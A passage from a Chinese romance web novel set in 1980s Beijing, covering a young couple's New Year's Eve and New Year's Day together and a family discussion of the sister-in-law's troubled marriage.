苗秀秀也看出来,男人沉默的时候就是话题该结束的时候,于是又问他:“你明天能休假吧?我准备包饺子和包子,我还买了羊排,炖羊肉汤给你喝。”
周北冀这才扭头含笑看着她,嗯了一声。他的耳朵红得更厉害了,看起来很像是害羞,苗秀秀抿嘴一笑,告诉他,糖炒栗子是楼下的李嫂自己炒的,她还做了栗子面窝头。
“家里有这么冷吗?你在屋里还穿大衣?”周北冀在家里外套都不用穿,丝毫不觉得冷。
“冷,今早我看到窗户上都长窗花了,还有屋檐下那个冰溜子,一米多长。”苗秀秀把手伸进丈夫衣服里,他的后背暖烘烘的。
“夸张,哪有一米多长,要不给你生个煤炉子?不行,冬天在房间里生炉子容易煤气中毒,还是给你买电热毯好了。”周北冀想好了,第二天一早就去买。
苗秀秀依偎在他怀里,跟他说,已经买好了毛线,等到二月份过年的时候正好赶上穿。
“你还专门去买了毛线?”
“我说过要给你织一件毛衣,当然要去买了。对了,你那件羊羔毛的飞行员夹克挺好看的,怎么老不见你穿?你在哪里买的,能不能给我也买一件?”苗秀秀实在不喜欢穿那种臃肿的大棉袄,可周围的女人冬天都穿棉袄或者军大衣,动辄零下几度十几度的天气,穿大衣在户外根本不行。
“买不到了,那是我姐去美国进修的时候在美国买的,你喜欢就拿去穿。”
“号太大了,我穿不了,你穿着好看。”
“那我们一会去看电影的时候,我就穿这件衣服。”
惦记着锅里还炖着羊肉汤,苗秀秀去厨房看看,尝过味道以后觉得差不多了,关掉火。
冬天寒冷的夜晚,外面北风呼啸,两人喝着鲜美的羊肉汤,吃着爆炒羊肉和栗子面窝头,觉得这样的小日子温馨无比。
“你不是喜欢吃白面馒头,不喜欢吃窝头嘛,干嘛跟我抢?”苗秀秀眼看着周北冀拿走竹簸箕里最后一个栗子面窝头,恨不得从他手里把窝头抢过去。
“好长时间没吃了,还挺好吃的,你都吃好几个了,我才吃三个。”周北冀心安理得吃着最后一个窝头。
苗秀秀没办法,只得揪了一块白面馒头吃。
“少吃一口窝头而已,嘴噘得能挂油瓶了……我托人从华侨商店买了一套化妆品,给你当新年礼物。”周北冀本来想给苗秀秀一个惊喜,看她悻悻的样子,决定先哄哄她。
“真的?在哪呢?”苗秀秀激动地眼睛闪了闪。这个时代她用不惯的东西太多了,化妆品首当其冲。
周北冀看着她那种激动的样子,失笑,“急什么,还没拿来呢,说是刚进的新货,元旦后才能送到我手里。”女人果然都是喜欢化妆品的,一听说化妆品激动得饭都不吃了。
“什么牌子的?”
“好像是法国的一个牌子,叫什么我也记不住,Dior还是什么。”
“Dior?太好了。”苗秀秀很喜欢这个牌子,又问:“挺贵的吧,花了你不少钱吧。”
“是挺贵的,不过只要你喜欢,那就不贵。”周北冀笑笑。当时他听到价格的时候着实吃了一惊,攒了很久的津贴买这套化妆品就全用完了,但是他也没有犹豫,千金难买媳妇高兴。
一年的最后的一天,总要留下点什么,吃饱了饭两人去电影院看午夜场,连看两场之后,已经是午夜时分。
走出电影院,苗秀秀欣喜地发现外面已经白茫茫一片。天气预报里说近两天有大雪到暴雪,没想到这么快就下了。
裹紧了身上的军大衣,她松开周北冀的手跑进雪地里,上辈子生活的那个城市几年也难得下一次雪,每次看到下雪,她都会很高兴。
周北冀看到媳妇在雪地里欢快地蹦蹦跳跳,像是个小孩子,忍俊不禁,她真的彻彻底底地已经变成了另外一个人,看到下雪都能疯成这样。
他还记得去年下第一场雪的时候,他俩才刚结婚一个多月,他买了几个烤红薯回家,坐在沙发上看电视的时候吃,她一直在旁边看着他,他以为她也想吃,就问她吃不吃。
我不吃。她说。她就是喜欢看他而已,没什么别的理由。
那你老看着我干嘛?他问。
想吃你就说啊,我又不会连一个烤红薯都不分给你。媳妇见了他总是一副老鼠见了猫的样子,他心里特别瞧不上她那种畏畏缩缩小心翼翼的样子。
我以为你们城里人不
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会喜欢吃地瓜,我们老家只有荒年的时候才吃它,天天吃顿顿吃,大家都吃腻了,年成好的时候,地瓜都拿来喂猪。结婚一个多月、对丈夫又喜欢又有点害怕的小媳妇苗秀秀很实诚地说。
乡下媳妇有时候说话也挺气人,周北冀觉得她一定是故意的,一晚上没理她,现在想想,在她老家,红薯白薯可能真的是用来喂猪的。
他的军大衣给她穿着长了不少,看起来很是滑稽,但是她那种快乐的样子特别能感染别人。路灯下,整个人被笼罩在昏黄的灯光里,再加上满天的飞雪飘舞,让她看起来像是雪地里的精灵。
周北冀跑上前,把她抱起来转了几圈。苗秀秀兴奋地脸都红了,搂紧了周北冀脖子,冷冰冰的脸贴着他的脸,两人靠在一起很快就焐热了。
“初雪的时候要吃炸鸡喝啤酒,明早我就去市场买鸡腿。”
“为什么下雪天要吃鸡腿喝啤酒啊?”周北冀觉得这个搭配莫名其妙。
“明天你就知道了。”苗秀秀抿着红唇,神秘一笑。
夏文竹远远看到周北冀抱着苗秀秀在雪地里转圈,泪盈于睫。自己这些日子确实是在作茧自缚,那两个人相爱得那么明显。
周中中拉了她一下,善解人意地说:“别看了,我三哥都结婚了,新的一年你应该有新的开始。”夏文竹点了点头,满心的苦涩却未消减,陪着周中中往另一个方向走。
依偎在丈夫怀里的苗秀秀无意中看到雪地里那两个离去的背影,装作没看见,闭上了眼睛,虽然天寒地冻,他和她的两颗心却是火热的。
“老公,我想吃冰糖葫芦。”苗秀秀说想吃就特别想吃,拉着周北冀的手就想出大院去买。她记得门口往右拐走两分钟就有个卖冰糖葫芦的小摊位。
“都这个点了,哪里还能买到,想吃明天给你买。”
“我现在就想吃。”苗秀秀撒娇,用力嗅了一下鼻子,全然不管已经快零点了。
周北冀哪受得了她这样撒娇,轻笑着说:“那我们出去找找看,找不到可别怪我,卖冰糖葫芦的小贩又不是夜猫子,通宵营业。”
两人走出大院去找卖冰糖葫芦的,大半夜的本来人就少,又是下雪天,走了快半小时也没看到人影。
“你知道苏东坡的词里我最喜欢哪一首吗?”苗秀秀把手揣在周北冀的外套口袋里,摇了摇他的手。
“最有名的那首水调歌头,或者定风波,还是悼念亡妻江城子?”周北冀握住妻子的手,她的手很小,手指纤细,他都不敢太用力。
“你说的定风波和我想说的肯定不是同一首,我说的是写给王定国爱妾柔奴的那一首定风波——常羡人间琢玉郎,天应乞与点酥娘,尽道清歌传皓齿,风起,雪飞炎海变清凉。万里归来颜愈少,微笑,笑时犹带岭梅香。试问岭南应不好,却道,此心安处是吾乡。”苗秀秀念着这首一千年前的词,诉说的却是她此时的心情。
不管她的灵魂能在这个时空存在多久,既然来了,她就把这里当成安身立命的地方,好好地把日子过下去,开创事业、生儿育女,过一种以前没有体验过的人生。
周北冀自然是明白这首词背后涵义的,把苗秀秀的手握紧了,永远都不想松开。
55. 第五十四章
不知道走了多久,一家还没打烊的小饭馆出现在眼前,门口的牌子上用红油漆歪歪扭扭写着馄饨两个字,苗秀秀对周北冀说,去吃碗馄饨吧,吃饱了就是新年了。
周北冀同意了,两人向着小饭馆走过去。老板正准备关门回家,看到一男一女两个漂亮的年轻人进来,对他们说,店要关门了。
“大叔,还有馄饨吗?我们想买两碗吃。外面冷得很,吃点热热的好回家。”苗秀秀已经找了位子坐下。
店老板见他俩身上都是雪,显然是在外面走了很久,恻隐之心一动,就答应了苗秀秀的要求,去替她俩下馄饨。
馄饨端上来,周北冀用热水替苗秀秀涮好筷子,递给她。这样寒冷的冬夜,吃着热乎乎的馄饨是一种享受。
蒸气氤氲中,苗秀秀抬起头对周北冀说,以前在她老家,一年到头也吃不了几回这样纯肉馅的馄饨。她从老家坐火车到雁京那天,她和二哥在火车站附近的小吃摊子上吃的那一碗馄饨令她至今印象深刻。
苗秀秀说话的时候,浓密的睫毛忽闪忽闪,周北冀的目光始终没离开过她。
实际上那一天令她印象深刻的不光是那碗馄饨,更深刻的是他。她刚放下手里的碗,还没来得及拿手帕擦擦嘴,就看到他从一辆气派的黑色轿车里下来。那样的轿车,别说镇上,就算是县城里都没有见过一辆。
她知道他是来接她的,家里人跟她说起婚事的时候给她看过他照片,虽然她当时害羞没敢多看,过后却悄悄把照片藏在书里看了好多回,照片里的他仪表堂堂,她一眼就看中了,尽管如此,见到他本人的时候她还是震撼了一下,他不仅长得好看,他还像白杨树那样潇洒挺拔很有气质。
周北冀也记得那天,他奉父母之命到火车站接她和她二哥,虽然不情不愿,从父亲专车里下来的时候还是客气地和她二哥打了招呼。
对他未来的媳妇,他只倨傲地瞥了一眼,就吝啬地再也没有多给她半点眼光,来的路上就打定了主意,自己绝不可能看中一个土里土气的农村姑娘,哪怕这姑娘并不是想象中那么难看,甚至还有一点点好看,他也不想瞧她第二眼。
回家路上,路过天安门广场时听到后座的兄妹俩不时惊呼,身为首都人民和高干子弟的优越感令周北冀心中更烦躁了,他的这种烦躁一直延续到领着他俩进了周家门。
把他们介绍给父母后,他就回了自己房间,很长时间都没出来。直到小妹过来敲他的门,他才勉为其难过去开门。
“觉得你未来媳妇儿怎么样啊?”周中中吃着西红柿,还不忘记挖苦一下三哥。
“凑合吧。”周北冀懒得和小妹磨牙,躺到床上继续翻看杂志。
“凑合你怎么不看人家啊,躲在房间里不出去。”周中中存心要和他三哥过不去。未来三嫂那么土气,她不相信她哥没看在眼里,只要看在眼里,他怎么可能不嫌弃。
周北冀瞅了小妹一眼,没好气:“要你管,看热闹不嫌事大。”哪怕再不情愿,出于男人本能,未来媳妇的长相他还是会留意的,长得不难看,然而没气质。
他一直觉得,女人高雅自信的气质和落落大方的仪态对他产生的吸引甚至要高于容貌的吸引,容貌是天生父母给的,气质和仪态却是家庭环境和受到的教育培养出来的,气质能伴随一个人一辈子,是更高层次、精神层面的吸引。
结婚以后他才发现,当初他的这些观点作为对女人一知半解的未婚青年来说无可厚非,真正深入接触一个女人之后会知道,能吸引男人的女人并不能简单地用概念去定义。
苗秀秀就是个多姿多彩的女人,有时候是甜美温柔的小媳妇,有时候也能性感娇媚,甚至更多时候她还能表现出非同一般的见识,只是他始终没想明白,她是怎么忽然从一潭死水变得活色生香起来的。
当初他有多沮丧,现在就有多得意,甚至有些沾沾自喜。幸亏坚持住了没离婚,不然哪里看得到媳妇这种脱胎换骨的转变?
夜里,两人缠绵半宿,周北冀白天吃的那些醋,和晚上从媳妇身上得到的温柔甜蜜比,完全不值一提。
外面风雪交加,暖暖的被窝里春光无限,相拥着睡到第二天十点多,才打着哈欠起床去拉窗帘。
雪居然还没有停,树枝上的雪被冻住后成了一条条的冰挂,周北冀刷牙的时候站在窗口看了一会,准备上午就去买电热毯,都说雪后寒,媳妇怕冷,早早买好了取暖设备,他不在家的时候,她晚上一个人也能睡安稳了。
各自分头行动,一人去服务社,一人去菜市场。
雪天卖菜的都没出来,苗秀秀跑了好几个菜市场才买到鸡腿和鸡翅,回到家的时候头发上结了一层冰,发梢一绺一绺挂着冰碴子。
周北冀替她拍掉大衣上的雪,问她是不是摔倒了,怎么身上背上都是。苗秀秀告诉他,雪太大了,地上滑,她摔倒了好几次。
“早知道就不该让你出门,摔伤了怎么办?”周北冀心疼地替她捂着手。
“没事的,我没那么娇贵。”苗秀秀倒不以为然,说:“以前在老家的时候,冬天下过雪以后我经常和二哥去山里捉野鸡。”
周北冀带苗秀秀去卧室,告诉她,电热毯他已经铺好了,她晚上睡觉的时候不会
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再觉得冷。
苗秀秀很满意,笑着对他说:“虽然我不怎么喜欢冬天,但是冬天我们可以在家里吃火锅,买一大堆菜放在锅里涮。”
“那我们晚上吃火锅吧,去东来顺吃涮羊肉,吃火锅人多才热闹,我们再多叫几个人。”
“你昨天还没喝够啊,今晚我想跟你两个人在家里吃,我买了菜,李嫂还教会我做川味锅底,晚上我们吃川味火锅。”
苗秀秀才不想去东来顺,昨天的不愉快刚安抚下去,再去的话万一他哪根筋搭错了,又想起那档子事,她可没耐心再哄他一次。周北冀也忽然记起来头天的事,讪笑着把话题岔过去。
“我在家里炸鸡,给你派个任务,你干不干?”苗秀秀挽着丈夫手臂推他到窗口。
“什么任务?”周北冀见媳妇一脸神秘,没搞清楚她葫芦里卖得什么药。
“花园那边有很多梅花,机关大楼楼下也有,你去采几支梅花来,我插在花瓶里,我喜欢闻腊梅的香味。”
苗秀秀喜欢花,正好家里也有一对结婚时买的花瓶,附近没有鲜花店,市面上流行的假花她又不喜欢,花瓶一直没有派上用场,新年第一天,她想把家里布置一番。
客厅太狭窄,只适合平时吃饭,不适合搞气氛,看来只能餐桌拖到卧室里再布置了,好在他们结婚的时候买的餐桌可以折叠,她一个人搬搬弄弄也不费事。
蕾丝钩纱的沙发巾临时拿来当桌布,放在柜子里积灰多日的花瓶洗刷一番之后也亮晶晶的,就是款式带着这个时代的特色,蓝色玻璃的,瓶口还是土里土气的波浪边,然而有总好过没有,只等周北冀把梅花采回来,插上花就会变漂亮。
周北冀回来的时候,苗秀秀在厨房炸鸡翅和鸡腿,看到周北冀抱着一大把梅花站在门口,问她花要放在哪里,苗秀秀说,她已经把卧室布置好了,他只需要帮她把花插进去就行。
周北冀去卧室一看,餐桌被苗秀秀从客厅拖到了窗户底下,她还铺上了桌布,甚至连啤酒杯她都摆好了。这是要边赏雪看花边吃炸鸡啊,周北冀对媳妇搞气氛玩花样的本事很是佩服。
把花瓶里倒上一点清水,周北冀精心选了几支好看的梅花插在花瓶里,他采的太多,一瓶根本装不下,于是他又找出另一个花瓶,洗干净了插上花放到自己书房里。
淡淡的梅花香给房间里平添了不少淡雅温馨的气氛,周北冀欣赏之余,也觉得花瓶太土了,什么颜色不好买,非要买一对蓝色的,他记得这对蓝色玻璃花瓶是家里一个什么亲戚送的结婚礼物,因为没地方放就一直搁置着,放白色系的花可能还更合适点。
56. 第五十五章
苗秀秀按着西餐做法做了黑胡椒意大利面,买不到通心粉,只能用挂面将就,但是她摆盘绝不含糊,胡萝卜片、西兰花、洋葱圈一样不少,甚至佐餐的那一小块牛肉也都很像样。
“黑胡椒酱很正宗嘛,你买的还是自己做的?”周北冀吃了一口黑胡椒小牛肉觉得味道和西餐馆的差不多。
“我自己做的。”苗秀秀才不会告诉他,这瓶黑胡椒酱是杨澍那个混血女朋友圣诞节的时候漂洋过海从法兰西寄过来的。杨澍对那个女孩一直不死心,两人终于在法国大使馆一个武官的帮助下恢复了联系。女孩给杨澍寄了一大堆东西,杨澍送了几样给苗秀秀和小桂。
一个人只要想和另一个人联系,哪怕对方在天涯海角,他也能想尽各种办法去和对方联系上。苗秀秀对杨澍这种执着精神很动容,怂恿他叫那个女孩到雁京来旅游。
喝啤酒吃炸鸡,窗外雪花飘飞,室内淡淡清香怡人,苗秀秀还打开了收录机,播放邓丽君的抒情歌曲。
“有没有点音乐茶座的感觉?”苗秀秀问对面的人。
“想起了马克西姆餐厅,下回有机会带你去,还有对面的新侨饭店也有西餐厅。”周北冀觉得新年第一顿饭吃的很有意思。虽然他形容不上来这种感觉,却很明白,这就是他想要的岁月静好,一种不脱离现实又充满诗意的生活。
“等我赚到钱了,带你去吃大餐。”苗秀秀梦想很多,但从未忘记身边这个人。
周北冀只是笑,没有答话。苗秀秀在他面前是丝毫不掩饰野心了,他也不希望她掩饰,夫妻间本来就该坦诚相对,他欣赏她这份爽朗。
“你猜我摘花回来的路上遇到谁了?”周北冀想起这事,忍不住和苗秀秀说一下。
“谁?邻居还是你家里人?”
能在大院里遇到、而他又这么郑重提起的,肯定有点门道。
“方护士。”周北冀说,“她不知道是不是刚下夜班,穿着大棉衣、围巾把头和脸裹得严严实实,我抱着一堆梅花从花园里过来,正巧遇上她。”
“她看到你了吗?”苗秀秀想,方护士看见他手里的花,表情肯定很精彩。
周北冀嚼着牛肉,“看到了,一开始我都没认出她,就看到一个裹得像个大粽子的女人盯着我看,我以为是别的熟人,仔细一看才发现是她。她一看到我看她,就把脸转了过去,恶鼻子恶眼的,好像我欠她钱一样。”
“你要是把花送给她两支,她就不会对你那么恶鼻子恶眼了。”苗秀秀开玩笑地说。周北冀鄙夷地瞥她一眼,“我辛辛苦苦摘的花,给她干嘛?”
苗秀秀点拨丈夫,“这你就不懂了,你要是真送了她两支花,她以后就不会再和你姐打小报告说咱俩的事。”
“你怎么知道?”周北冀一时没弄明白这里面的逻辑。
苗秀秀笑,“我就是知道,女人那点小心思我全知道。小周将军,你以后得多跟我学着点,将来你当教导员当政委,要多注意观察了解别人的心理。”
午后的时光慵懒惬意,苗秀秀教周北冀跳探戈,周北冀学得很快,两人正跳得高兴,电话铃响,沈芬玉打电话来,焦急地叫儿子尽快回家一趟。
“又什么事?”周北冀心里抱怨,大过节的也不让人消停。
“你姐和你姐夫闹离婚,你回家来我跟你细说。”周湘南一大早跑回家哭诉,沈芬玉急得中午饭都没吃。
周北冀听到这里,往后一仰,背靠在沙发上,有点为难地说:“妈,这事您让我姐和姐夫自己做主不就好了,您掺和什么,他俩过不下去也不是一天两天了。”
“你这叫什么话,离婚哪里是说离就能离,宁拆十座庙不毁一门亲,你姐都小三十了,离了婚以后怎么办?你大哥二哥都在外地,你爸在西山开会要半个月才能回来,我不找你商量找谁商量?”
沈芬玉遇到事情不找两个大儿子和儿媳,习惯了找小儿子。除了因为老大老二常年在外地,商量事情不方便,更重要的是,周湘南和两个嫂子关系一般,要是找老大老二商量,他们肯定得告诉媳妇,反而叫周湘南难堪。
“上回我和秀秀去我姐家探病,已经和她谈过一次了。”
“你和秀秀一起跟她谈的?”沈芬玉想了想,“那要不这样,你把秀秀也带来,我们一起商量一下这件事。”
看到苗秀秀眨巴着眼睛一脸八卦的样子,周北冀嗯了一声,“行,我们一会过去。”
不知道从什么时候起,家里遇到难题的时候他也想听听苗秀秀的意见,他觉得苗秀秀在处理人际关系这方面还是挺有想法的,起码她上回关于开店当个体户的辩论就让他姐哑口无言,还让小妹倒戈相向,令他不得不佩服她的思维清晰、条理分明。
雪地路滑,小俩口没有骑车,牵着手一步步走在雪地里。苗秀秀怕冷,帽子围巾裹得严严实实,周北冀也戴了帽子,是苗秀秀给他新买的毛线帽子,非让他戴着不可。
路上积雪很深,苗秀秀一脚一脚踩下去,觉得很是有趣,对周北冀说:“回来的时候咱俩堆雪人玩吧。”“好。”周北冀松开她的手,弯腰用手团了一团雪,往远处扔过去。
周家小院里梅花盛开,客厅里很暖和,一走进去就能闻到淡淡的水仙花香味,周北冀摘掉帽子、脱掉军大衣,拍了拍雪交给小张,转身去替媳妇解开围巾。
沈芬玉给儿子儿媳泡了两杯麦乳精,让他俩趁热喝下去,暖暖身子。周北冀给苗秀秀一杯,自己喝一杯。苗秀秀挨着他坐下,替他赶了赶衣领子上的雪。
“我姐还在?”周北冀很小声地向母亲询问。沈芬玉点了点头,目光看向二楼,周湘南在她自己婚前那个房间。
“说姐夫出轨是怎么回事?我姐瞎猜的还是听到看到了什么?”周北冀翘着二郎腿,虽然是和母亲说话,目光却一直停在苗秀秀身上。苗秀秀正拿着毛线团逗小妹养的那只波斯猫。波斯猫通体毛色雪白,毛茸茸的看着非常可爱。
沈芬玉说:“你姐夫厂里去年夏天分配来一个刚从大学毕业的女技术员,厂里安排你姐夫当她师傅,听说这个女技术员长得不错,一直对你姐夫有好感,经常往家里打电话找他,说是谈工作,谁知道他俩到底是在谈什么。”
周北冀眉头一皱,“这是我姐的猜测还是真抓到了什么证据?姐夫人那么老实,看起来不像是会出轨。”
“看起来老实那只是看起来,会不会出轨和人老不老实也没有必然联系。很多人不出轨只是没机会,一旦有机会,把持不住的人多了
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去。”苗秀秀逗着小猫,耳朵也没闲着,忍不住发表意见。
沈芬玉很赞同苗秀秀的话,说:“秀秀说得对啊,表面上老实未必就是真老实。小南和卢江宇关系一直不太好,小南那脾气你又不是不知道,掐尖要强,嘴巴还不饶人。”
“这只是你们的看法,有实质性证据吗?多打几个电话并不能作为姐夫出轨的证据,捕风捉影的风言风语也不能算,有些人就爱嚼舌根子。”周北冀作为男人,看问题总是偏理性的。姐夫卢江宇一贯表现良好,和新来的女技术员走得近一点,也不能就认定他一定是出轨了。
“空穴来风,未必无因,有时候你得相信女人的直觉。”苗秀秀轻抚着波斯猫的毛,又说:“整天睡在一起的枕边人,对方的心在不在其实是能感觉到的。”
媳妇的话外之音周北冀怎么可能听不出来,淡淡一笑,视线从她身上转到母亲沈芬玉,“妈,您劝劝我姐,别总是疑神疑鬼的……还有,她要是不想和姐夫过下去,干脆趁着这次了断,同床异梦,何必呢,苦了自己也害了别人。”
沈芬玉凑近一点,对儿子说:“卢江宇不承认出轨,还冲小南发火了,说她神经过敏,对他不信任,小南一口咬定他出轨,提出离婚,卢江宇死活不同意,他今年有希望被提拔成轧钢车间的车间主任,肯定不想在这个时候闹出离婚的事。”
“那我姐到底有没有证据?”
“有一回卢江宇接了电话就赶着出门,小南骑车跟踪他,看到那个女人在厂门口等卢江宇,两人一起进了厂里;还有一次,别人看到卢江宇晚上加班到十点多,和那个女人在厂附近的小摊子上喝羊肉汤。”
“可这两件事听起来都像是为了工作,他俩又不是去小旅馆开房间,这不能算证据啊。”周北冀觉得光凭这两点,还不足以给卢江宇定罪。
沈芬玉见儿子还是不信,近一步说:“你姐还说,卢江宇这两三个月电话特别多,好几次一接到那女的电话,饭吃了一半就出门去了,回来的时候不是十一二点就是半夜,问他去干什么了,永远都说是加班,说厂里要赶在年底前完成年度产值。”
似乎是有点可疑,周北冀也是男人,他太知道一个热情开朗又漂亮大方的年轻姑娘对卢江宇这样结婚好几年、婚姻生活缺少爱情和激情的男人有着怎样的诱惑力。
事实上,大多数男人都抵挡不住这样的诱惑,周湘南长得也挺漂亮,但是她对姐夫太冷淡了,冷淡到外人都觉得他俩应该离婚的地步。
“加班可没这么大的吸引力,姐夫就算没真的出轨,对那个女技术员也肯定是有好感的,作为一个有道德感的老实人,他在身体上不敢越雷池半步,精神却不是自己能控制的,而且精神上的出轨往往比身体出轨更难以挽回。”
苗秀秀把波斯猫抱在怀里,拿着它的小爪子,轻轻地用肉垫一下下去刷周北冀的腿。周北冀原本宠溺地看着苗秀秀,轻抚小猫的头,听到她的话不禁一怔,看了她一眼。
目光相接,彼此都知道对方想法,苗秀秀冲周北冀翻了个白眼。周北冀无奈地瘪着嘴,苗秀秀伸手按住他的手。沈芬玉看到儿子吃瘪的样子忍俊不禁,老三两口子的感情哪怕有这小俩口一半的一半,也不至于闹到今天这个地步。
57. 第五十六章
唉。沈芬玉叹了口气,周北冀再贴心,他也是个儿子,大女儿告诉她的一些私房话不方便和儿子说,中中虽然也是个女儿,但那丫头风风火火的自己都没定性,跟她说了,她也提供不了什么建设性意见。
“要不,我去和大姐谈谈?等我谈过了,你再去和姐夫谈谈?”苗秀秀见婆婆一脸忧虑,主动向丈夫提出建议,想替他们分忧。在周家,搞定了丈夫是第一步,搞定婆婆是第二步,只要这两人都支持她,她以后就可以横着走。
“你行吗?”周北冀不放心,上回因为开店的事,她和大姐争执过,两人过后都不怎么说话,这时候她上赶着去找大姐谈话,大姐心情不好,能理她才怪。
“我行啊,你不相信我吗?”苗秀秀撒娇地问周北冀。周北冀搂住她,抬手拨弄她头发,“我是怕大姐给你吃闭门羹,她什么脾气你又不是不知道,你上回得罪她,她原没原谅你还不知道呢。”
“你放心,我有办法的。”苗秀秀把波斯猫往周北冀怀里一放,就想起身去二楼找周湘南。周北冀抱着猫跟上她,“别莽撞、别冒失,大姐要是不搭理你,你就下来,犯不着热脸贴人家冷屁股。”
周北冀现在疼媳妇疼进心坎里,哪怕是亲姐姐,也不能给他媳妇脸色看,以前在周家人面前已经让她受够委屈了,以后他绝不让她再受委屈。
苗秀秀跟他微笑,亲昵地拍了下他脸颊,要不是当着婆婆的面,她肯定得亲他一下。
沈芬玉等儿子抱着猫回到沙发上坐着,才似笑非笑地揶揄他:“你那个媳妇,少说几百个心眼子,别说你姐欺负不了她,全家人加起来也未必是她对手,就看她把你治的这副熊样。”
“妈,有您这么说儿子的么,谁一副熊样了,我只是不希望秀秀吃我姐闭门羹,我姐凶起来谁都怕她,秀秀胆子小。”
“胆子小?”沈芬玉哼了一声,“那是以前,现在她胆子比谁都大,听说和杨澍走得也很近。”
周北冀不乐意了,“妈,您这又是听谁瞎嚼蛆,根本没有的事,秀秀和杨澍接触是杨澍找她替文工团做演出服,之前秀秀替舒华做的那一件您不是也说挺好看的,所以杨澍他们才会找秀秀继续做其他演出服。”
“说给你是让你心里有数,不是要告她的状。”沈芬玉不想在这件事上和儿子说太多,儿子又不傻,媳妇真要在外面和人家有什么,他作为丈夫肯定能察觉。
苗秀秀上二楼,敲某个房间的门。好半天才有人来开门,周湘南披着件外套,眼皮红肿地看着站在门口的苗秀秀,冷冷地问:“你有什么事?”
自从那回苗秀秀当着全家人的呛她,她俩已经好多天没怎么说话,所以她没想到这时候来敲她门的会是苗秀秀。
苗秀秀把手里端着的红糖鸡蛋醪糟放到她床头的桌子上,说:“大姐,我给你做了一碗红糖鸡蛋醪糟,你趁热喝下去,这几天天气冷,女人特别容易手脚冰冷,喝这个补身子。以前我在老家的时候,每次例假,我妈都会用红糖煮鸡蛋给我吃。”
周湘南看了一眼碗里红棕色的汤汁,心里有种说不出的滋味,她自己就是医生,自然知道这些民间土方子功效有限,更多的是心理作用,但既然弟媳妇巴巴送上来,她也不好打她的面子。
“放着吧,我一会喝。”周湘南看了苗秀秀一眼,见她站在那里没有走的意思,端起碗吃了一口,问她:“你和小弟一起来的?”
“嗯,他今天放假。”苗秀秀左右看了看,周湘南这个房间和她的人一样,布置得典雅、素净,桌椅家具全都擦拭得干干净净,物品摆放整齐,没有任何一样东西不在它应该在的地方。
可怎么说呢,就像宝姐姐住的蘅芜苑,好是好,但是雪洞一般,太素净了以至于不像女孩儿家住的地方,苗秀秀有理由相信,周湘南这性格要是放几十年后,肯定是北欧性冷淡风的拥趸。
“你有话想和我说?”周湘南把一碗红糖鸡蛋醪糟吃下去,胃里确实舒服了许多,身上也暖了起来,对苗秀秀态度温和不少。
“姐,你好像比夏天还瘦了,是肠胃不好吃得少还是晚上觉睡得不好?”苗秀秀并不想一开始就直奔主题,有些话说得太直接反而有点难以启齿。
“我睡眠不大好,老是睡不着。”
“那你是思虑太多了,才会睡不着。我刚结婚那会也这样,明明很困了,到床上躺着的时候却又忍不住总是想事情,后来我什么都不想,我就睡得好多了。”苗秀秀在书桌旁的椅子上坐下。
那还不是因为刚结婚那会小弟对你冷淡,你愁得睡不着,小弟对你好了以后,你立刻就生龙活虎了,周湘南唇边漾起微微笑意,苗秀秀的变化周家上下没有人不看在眼里,尤其是心细如尘的她。
见周湘南不说话,苗秀秀有意说:“姐,睡不着的时候,你可以让姐夫搂着你睡啊,男人身上火力大,比热水袋电热毯都管用。”
不说这话还好,一说这话,周湘南立刻听出来这丫头话里那股子秀恩爱的优越感,不想和她一般见识,碍于面子又不好不搭理,莞尔一笑,“小弟都搂着你睡啊?”
苗秀秀笑着摇头,“夏天肯定不行,搂着睡热死了,天冷了以后他都搂着我睡,我说两人睡一个被窝,睡着了被子容易漏风,还容易被一个人把被子全卷走,要和他一人一个被窝,他还不让呢。”
装傻白甜也不容易,苗秀秀觉得自己脸上的肌肉都要笑抽抽了,皮肉都很不得劲。
“你和小弟感情是挺不错的。”周湘南嘴上这么说,心里却在想,有必要在我面前这么嘚瑟吗?
“再好的感情,也需要两个人共同经营,要是剃头挑子一头热,那也是不成的。”苗秀秀话锋一转,“就像你和姐夫,彼此没有感情,婚姻没有热度。”
周湘南心里一沉,敢情这丫头绕来绕去说半天,是来劝她和卢江宇离婚?如
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果沈芬玉知道她找来的说客劝离,不知道会怎么想。
“这是我和他之间的事,你不了解。”周湘南不喜欢外人对她和卢江宇的婚姻说三道四。尤其还是这个自己不怎么待见的弟媳妇。
苗秀秀装作没注意到周湘南表情里的疏离感,继续说:“我虽然不全知道,也知道个大概,大姐你心里还喜欢原来那个对象,对不对?他一定对你很好,所以你忘不了他。”
周湘南没想到她说得这么直接,更没想到小弟连这么隐私的事都告诉他媳妇,一时间不知道是该生周北冀的气好,还是生苗秀秀的气好。
家里人都怕戳到她心里的痛,已经很久很久没有人在她面前提起那个人了,那个远在陕北农村的人,是她插队当知青的时候认识的。
家里穷,他自己只上了几年学,小学毕业就没再念下去,却把辛苦挣来的钱拿给她买辅导书,鼓励她参加高考;陕北冬天冷,他怕她挨冻,不让她外出干活,都是他自己下地去挣工分;西北缺水,很多村里人冬天都不洗脚,只有他坚持每天晚上给她打洗脚水;为了跟她结婚,他四处借钱,背了一身债给她凿了一孔新窑洞。
每天晚上,她在煤油灯下学习,他就在边上把一点一点积攒下来的羊毛捻成线,说是等毛线攒多了,让她织毛衣穿,可是还没等他捻够毛线,她考上了大学,和他提出离婚,他虽然难过,却也知道留不住她,没怎么犹豫就同意了。
两人去公社离婚那天,天上飘着星星点点的雪花,周湘南永远也忘不了那一天,她坐在老乡赶的牛车上哭了很长时间,但是难过归难过,除了离婚她没有别的路可走。
“现在改革开放了,就算是山沟里的农民,也有发家致富的机会,我二哥稍信告诉我,我们村里有好多村民外出去南方打工,还有自己办企业办砖厂、水泥厂的,农民也有机会改变命运的。那位……那位……”苗秀秀想着不知道该怎么称呼前姐夫,只得说:“那位大哥将来也可以走出黄土高坡进城来打工的,你们未必就没有机会重续前缘。”
周湘南摇了摇头,“我不做这种奢望。”以她目前的身份、以周家在大院的地位,又不是像苗秀秀的父亲对周家有救命之恩,让她离婚改嫁给一个农民,是不可能的。周湘南不是那种头脑一热就冲动做事的人。
苗秀秀说:“那既然这样,你和姐夫就该好好过日子啊,把话说开了,能过就好好过,不能过再离也不迟。姐夫是个好人呐。”
他不仅是个好人,将来还是个大佬啊啊啊啊,苗秀秀想说,我都想抱他的大腿。
“他出轨。”
“你怎么判断他出轨的啊,就因为他电话变多了,大晚上和那他那个女徒弟在路边喝羊肉汤?”
“妈都告诉你们了?”周湘南叹了口气。指望母亲保密是不可能的,她遇到事情特别喜欢告诉小弟,小弟自然而然又会告诉他媳妇,一来二去苗秀秀掌握了全部情报。
58. 第五十七章
